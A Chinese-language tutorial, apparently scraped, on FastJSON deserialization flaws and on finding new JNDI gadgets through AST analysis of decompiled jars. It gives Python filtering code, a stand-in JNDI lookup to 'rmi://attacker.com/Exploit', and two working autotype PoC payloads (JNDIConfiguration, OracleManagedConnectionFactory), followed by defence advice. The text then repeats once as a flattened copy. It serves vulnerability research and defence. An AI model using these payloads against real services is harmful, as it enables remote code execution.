抽象语法树分析寻找FastJSON的Gadgets
字数 1466 2025-08-18 11:38:56

FastJSON反序列化漏洞分析与Gadgets挖掘教学

1. 背景知识

1.1 FastJSON简介

FastJSON是阿里巴巴开源的高性能JSON库,用于Java对象与JSON数据之间的转换。它提供了两个核心功能:

  • 序列化:将Java对象转换为JSON字符串
  • 反序列化:将JSON字符串转换为Java对象

1.2 FastJSON反序列化漏洞

在FastJSON版本<1.2.25时存在反序列化漏洞,攻击者可以通过精心构造的JSON字符串实现远程代码执行(RCE)。漏洞原理:

  1. FastJSON在反序列化时会自动调用目标类的:

    • 构造函数
    • setter方法(set开头的方法)
    • getter方法(get开头的方法)
  2. 攻击者可以通过JSON字符串控制这些方法的参数,从而可能执行恶意代码

1.3 防御机制

1.2.25版本后,FastJSON引入了防御措施:

  • checkAutoType方法
  • autotype开关(默认关闭)
  • 黑名单机制(禁止反序列化已知的危险类)

2. 漏洞利用原理

2.1 JNDI注入

漏洞利用通常通过JNDI注入实现RCE,关键特征代码:

InitialContext.lookup("rmi://attacker.com/Exploit");

2.2 已知Gadgets

已被加入黑名单的Gadgets类:

  • ch.qos.logback.core.db.JNDIConnectionSource
  • com.zaxxer.hikari.HikariConfig
  • org.apache.xalan.lib.sql.JNDIConnectionPool

3. 寻找新Gadgets的方法

3.1 总体思路

  1. 反编译不在黑名单中的jar包
  2. 生成抽象语法树(AST)
  3. 通过条件筛选潜在可利用类
  4. 构造PoC验证

3.2 具体步骤

3.2.1 反编译jar包

使用FernFlower工具反编译:

java -jar fernflower.jar jarToDecompile.jar decomp/

Python封装函数示例:

def decomplier(file):
    cmd = "java -jar ~/tools/FernFlower.jar " + file + " /Users/xxxxxxx/source/ > /dev/null 2>&1"
    os.system(cmd)
    jar_file_name = file.split('/')[-1]
    jar_file_path = "/Users/xxxxxxx/source/" + jar_file_name
    target_dir = jar_file_name.split('.')[:-1]
    source_dir = '.'.join(target_dir)
    source_dir = '/Users/xxxxxxx/source/' + source_dir
    unzip_cmd = "unzip " + jar_file_path + " -d " + source_dir + " > /dev/null 2>&1"
    os.system(unzip_cmd)
    return source_dir

3.2.2 生成AST语法树

使用javalang库解析Java源码:

import javalang
tree = javalang.parse.parse("package javalang.brewtab.com; class Test {}")

AST结构示例:

  • CompilationUnit: 整个源文件
    • package: 包声明
    • imports: 导入声明
    • types: 类型声明(类、接口等)

3.2.3 筛选条件

类级别筛选条件

  1. 不能继承ClassLoader
  2. 不能实现DataSourceRowSet接口
  3. 必须有无参构造函数

Python实现:

def get_class_declaration(root):
    class_list = []
    black_interface = ("DataSource", "RowSet")
    for node in root.types:
        if not isinstance(node, ClassDeclaration):
            continue
        # 检查继承关系
        if node.extends is not None and node.extends.name == "ClassLoader":
            continue
        # 检查接口实现
        interface_flag = False
        if node.implements is None:
            node.implements = []
        for implement in node.implements:
            if implement.name in black_interface:
                interface_flag = True
                break
        if interface_flag:
            continue
        # 检查无参构造函数
        constructor_flag = False
        for constructor_declaration in node.constructors:
            if len(constructor_declaration.parameters) == 0:
                constructor_flag = True
                break
        if not constructor_flag:
            continue
        class_list.append(node)
    return class_list

方法级别筛选条件

  1. 调用了lookup方法
  2. lookup方法的参数是可控变量

Python实现:

def ack(method_node):
    target_variables = []
    for path, node in method_node:
        # 检查是否调用lookup方法
        if isinstance(node, MethodInvocation) and node.member == "lookup":
            if len(node.arguments) != 1:
                continue
            # 检查参数类型
            arg = node.arguments[0]
            if isinstance(arg, Cast):  # 类型强转
                target_variables.append(arg.expression.member)
            if isinstance(arg, MemberReference):  # 变量引用
                target_variables.append(arg.member)
            if isinstance(arg, This):  # this.name
                return True
    if not target_variables:
        return False
    # 检查变量是否可控
    for parameter in method_node.parameters:
        if parameter.name in target_variables:
            return True
    return False

4. 发现的新Gadgets

4.1 org.apache.commons.configuration.JNDIConfiguration

PoC:

String json = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1389/Exploit\"}";
Object object = JSON.parseObject(json);

4.2 oracle.jdbc.connector.OracleManagedConnectionFactory

PoC:

String json = "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://127.0.0.1:1389/Exploit\"}";
Object object = JSON.parseObject(json);

5. 防御建议

  1. 升级FastJSON到最新版本(≥1.2.58)
  2. 关闭autotype功能
  3. 定期检查FastJSON黑名单更新
  4. 对反序列化操作进行严格限制

6. 工具与参考

  1. 反编译工具: FernFlower
  2. AST分析库: javalang
  3. 黑名单检查: fastjson-blacklist项目
  4. 参考文章:
    • https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html
    • https://b1ue.cn/archives/201.html
FastJSON反序列化漏洞分析与Gadgets挖掘教学 1. 背景知识 1.1 FastJSON简介 FastJSON是阿里巴巴开源的高性能JSON库,用于Java对象与JSON数据之间的转换。它提供了两个核心功能: 序列化:将Java对象转换为JSON字符串 反序列化:将JSON字符串转换为Java对象 1.2 FastJSON反序列化漏洞 在FastJSON版本 <1.2.25时存在反序列化漏洞,攻击者可以通过精心构造的JSON字符串实现远程代码执行(RCE)。漏洞原理: FastJSON在反序列化时会自动调用目标类的: 构造函数 setter方法(set开头的方法) getter方法(get开头的方法) 攻击者可以通过JSON字符串控制这些方法的参数,从而可能执行恶意代码 1.3 防御机制 1.2.25版本后,FastJSON引入了防御措施: checkAutoType 方法 autotype开关(默认关闭) 黑名单机制(禁止反序列化已知的危险类) 2. 漏洞利用原理 2.1 JNDI注入 漏洞利用通常通过JNDI注入实现RCE,关键特征代码: 2.2 已知Gadgets 已被加入黑名单的Gadgets类: ch.qos.logback.core.db.JNDIConnectionSource com.zaxxer.hikari.HikariConfig org.apache.xalan.lib.sql.JNDIConnectionPool 3. 寻找新Gadgets的方法 3.1 总体思路 反编译不在黑名单中的jar包 生成抽象语法树(AST) 通过条件筛选潜在可利用类 构造PoC验证 3.2 具体步骤 3.2.1 反编译jar包 使用FernFlower工具反编译: Python封装函数示例: 3.2.2 生成AST语法树 使用javalang库解析Java源码: AST结构示例: CompilationUnit : 整个源文件 package : 包声明 imports : 导入声明 types : 类型声明(类、接口等) 3.2.3 筛选条件 类级别筛选条件 : 不能继承 ClassLoader 不能实现 DataSource 和 RowSet 接口 必须有无参构造函数 Python实现: 方法级别筛选条件 : 调用了 lookup 方法 lookup 方法的参数是可控变量 Python实现: 4. 发现的新Gadgets 4.1 org.apache.commons.configuration.JNDIConfiguration PoC: 4.2 oracle.jdbc.connector.OracleManagedConnectionFactory PoC: 5. 防御建议 升级FastJSON到最新版本(≥1.2.58) 关闭autotype功能 定期检查FastJSON黑名单更新 对反序列化操作进行严格限制 6. 工具与参考 反编译工具: FernFlower AST分析库: javalang 黑名单检查: fastjson-blacklist项目 参考文章: https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html https://b1ue.cn/archives/201.html